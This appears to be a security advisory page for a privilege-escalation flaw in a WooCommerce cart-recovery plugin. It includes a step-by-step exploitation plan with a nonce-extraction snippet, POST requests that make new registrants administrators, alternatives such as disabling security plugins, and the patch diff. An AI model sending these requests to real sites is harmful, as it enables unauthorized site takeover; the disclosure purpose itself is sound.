CVE-2026-39470

Cart Abandonment Recovery for WooCommerce – Recover Lost Sales with Automated Emails < 2.1.0 - Authenticated (Shop Manager+) Privilege Escalation

highIncorrect Privilege Assignment
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.1.0
Patched in
8d
Time to patch

Description

The Cart Abandonment Recovery for WooCommerce – Recover Lost Sales with Automated Emails plugin for WordPress is vulnerable to Privilege Escalation in all versions up to 2.1.0 (exclusive). This makes it possible for authenticated attackers, with Shop Manager-level access and above, to escalate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<2.1.0
PublishedApril 8, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v2.1.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39470 (Privilege Escalation) ## 1. Vulnerability Summary The **Cart Abandonment Recovery for WooCommerce** plugin (versions < 2.1.0) contains an **Incorrect Privilege Assignment** vulnerability. Specifically, the `Ajax_Setting::save_setting` method allows auth…

Show full research plan

Exploitation Research Plan: CVE-2026-39470 (Privilege Escalation)

1. Vulnerability Summary

The Cart Abandonment Recovery for WooCommerce plugin (versions < 2.1.0) contains an Incorrect Privilege Assignment vulnerability. Specifically, the Ajax_Setting::save_setting method allows authenticated users with the manage_woocommerce capability (such as Shop Managers) to update arbitrary WordPress options. Because the plugin does not validate that the option_name provided in the request belongs to its own set of settings, an attacker can modify critical site options, such as enabling user registration and changing the default user role to administrator, leading to full site takeover.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: save_setting (registered as wp_ajax_save_setting)
  • HTTP Method: POST
  • Parameters:
    • action: save_setting
    • security: The nonce for wcar_save_setting.
    • option_name: The WordPress option to modify (e.g., default_role).
    • value: The new value for the option (e.g., administrator).
  • Authentication: Required. Authenticated as a user with manage_woocommerce capability (e.g., Shop Manager).

3. Code Flow

  1. Registration: WCAR\Admin\Ajax\Ajax_Setting::register_ajax_events() checks current_user_can( 'manage_woocommerce' ) and registers the save_setting AJAX action.
  2. Entry Point: When a request with action=save_setting hits admin-ajax.php, the save_setting() method in admin/ajax/ajax-setting.php is called.
  3. Permissions Check: The method again verifies current_user_can( 'manage_woocommerce' ) (Line 72).
  4. Nonce Verification: The method verifies the nonce provided in the security parameter against the action wcar_save_setting (Line 84).
  5. Input Extraction:
    • option_name is extracted from $_POST['option_name'] and sanitized via sanitize_text_field (Line 90).
    • value is extracted from $_POST['value'] (Line 91).
  6. Vulnerable Sink: The code calls $success = wcf_ca()->helper->save_meta_fields( $option, $value ); (Line 101).
  7. Exploitation: Since $option is not restricted to plugin-specific keys, an attacker can pass default_role or users_can_register.

4. Nonce Acquisition Strategy

The nonce wcar_save_setting is required. It is localized for the admin interface when the plugin's settings pages are loaded.

  1. Identify Page: The settings page for this plugin is typically found at wp-admin/admin.php?page=woo-cart-abandonment-recovery.
  2. Identify Variable: Based on common CartFlows/Astra patterns, the nonce is likely localized in a global JavaScript object such as wcar_admin or wcar_vars.
  3. Extraction:
    • Navigate to the plugin settings page as a Shop Manager.
    • Execute JavaScript to retrieve the nonce:
      // Search for localized data
      window.wcar_admin?.wcar_save_setting_nonce || window.wcar_vars?.security
      
    • Based on the source code, the nonce action is wcar_save_setting. The localization key is likely wcar_save_setting or security.

5. Exploitation Strategy

The goal is to enable registration and set the default role to administrator.

Step 1: Obtain Nonce

Use the browser to access the settings page and extract the nonce.

Step 2: Enable Registration

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=save_setting&security=[NONCE]&option_name=users_can_register&value=1

Step 3: Change Default Role to Administrator

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=save_setting&security=[NONCE]&option_name=default_role&value=administrator

Step 4: Create Admin Account

Navigate to /wp-login.php?action=register and register a new user. This user will automatically be assigned the administrator role.

6. Test Data Setup

  1. Plugin Installation: Install and activate woo-cart-abandonment-recovery version < 2.1.0.
  2. WooCommerce Installation: WooCommerce must be active as the plugin depends on it.
  3. Attacker User: Create a user with the shop_manager role.
    wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
    

7. Expected Results

  • Step 2 and 3 should return {"success":true}.
  • The WordPress database should reflect the changes in the wp_options table.
  • A new user registered via the frontend should have the administrator role.

8. Verification Steps

After the HTTP requests, verify the changes via WP-CLI:

# Verify registration is enabled
wp option get users_can_register
# Expected: 1

# Verify default role
wp option get default_role
# Expected: administrator

9. Alternative Approaches

If updating default_role is blocked or fails, a Shop Manager can try to modify their own capabilities directly if the save_meta_fields helper supports user meta.

However, a more potent alternative is modifying the active_plugins option to deactivate security plugins or modifying siteurl/home to cause DoS/Redirection, though these do not directly lead to privilege escalation.

If the site uses a custom role manager, one could also target the wp_user_roles option, which stores the capabilities associated with each role, and add administrator capabilities to the shop_manager role itself. This requires sending a serialized array as the value.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Cart Abandonment Recovery for WooCommerce plugin is vulnerable to privilege escalation because its AJAX-based setting update functionality does not restrict which WordPress options can be modified. Authenticated attackers with Shop Manager permissions can exploit this to change critical site configurations, such as the default user role and registration settings, to gain full administrator access.

Vulnerable Code

// admin/ajax/ajax-setting.php lines 72-101
	public function register_ajax_events(): void {

		if ( current_user_can( 'manage_woocommerce' ) ) {

			$ajax_events = [
				'save_setting',
			];
			$this->init_ajax_events( $ajax_events );
		}
	}

	/**
	 * Save the setting value.
	 */
	public function save_setting(): void {

		$response_data = [ 'messsage' => $this->get_error_msg( 'permission' ) ];

		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			wp_send_json_error( $response_data );
		}

    // ... (nonce check and input extraction omitted)

		$option = isset( $_POST['option_name'] ) ? sanitize_text_field( wp_unslash( $_POST['option_name'] ) ) : '';
		$value  = isset( $_POST['value'] ) ? wp_unslash( $_POST['value'] ) : '';

    // ...

		$success = wcf_ca()->helper->save_meta_fields( $option, $value );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-cart-abandonment-recovery/2.0.7/admin/ajax/ajax-setting.php /home/deploy/wp-safety.org/data/plugin-versions/woo-cart-abandonment-recovery/2.1.0/admin/ajax/ajax-setting.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-cart-abandonment-recovery/2.0.7/admin/ajax/ajax-setting.php	2026-01-26 09:55:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-cart-abandonment-recovery/2.1.0/admin/ajax/ajax-setting.php	2026-02-24 12:23:50.000000000 +0000
@@ -85,8 +85,8 @@
 			wp_send_json_error( $response_data );
 		}
 
-		// Add special case for cf_analytics_optin.
-		if ( 'cf_analytics_optin' === $option && 'on' === $value ) {
+		// Add special case for wcar_usage_optin.
+		if ( 'wcar_usage_optin' === $option && 'on' === $value ) {
 			$value = 'yes'; // We have to change the value of Analytics toggle to Yes or blank as per the library requirement.
 		}
 
... (truncated)

Exploit Outline

The exploit targets the 'save_setting' AJAX action. An attacker requires Shop Manager authentication to pass the 'manage_woocommerce' capability check. 1. Authenticate as a Shop Manager and visit the plugin settings page at 'wp-admin/admin.php?page=woo-cart-abandonment-recovery' to extract the 'wcar_save_setting' security nonce from the localized JavaScript variables. 2. Send a POST request to '/wp-admin/admin-ajax.php' with the parameter 'action=save_setting', the extracted nonce in the 'security' parameter, 'option_name=users_can_register', and 'value=1'. This enables user registration on the site. 3. Send a second POST request to the same endpoint with 'option_name=default_role' and 'value=administrator'. This ensures all new registrants are assigned the Administrator role. 4. Navigate to '/wp-login.php?action=register', create a new account, and log in with full administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.